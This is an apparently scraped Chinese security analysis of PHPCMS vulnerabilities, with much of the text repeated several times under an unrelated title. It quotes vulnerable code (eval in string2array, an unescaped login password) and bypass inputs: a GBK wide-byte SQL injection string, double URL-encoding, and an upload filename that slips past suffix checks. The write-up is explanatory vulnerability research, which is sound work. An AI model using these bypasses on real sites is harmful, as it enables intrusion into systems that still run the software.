从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 68 次浏览 • 2022-06-11 10:13
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
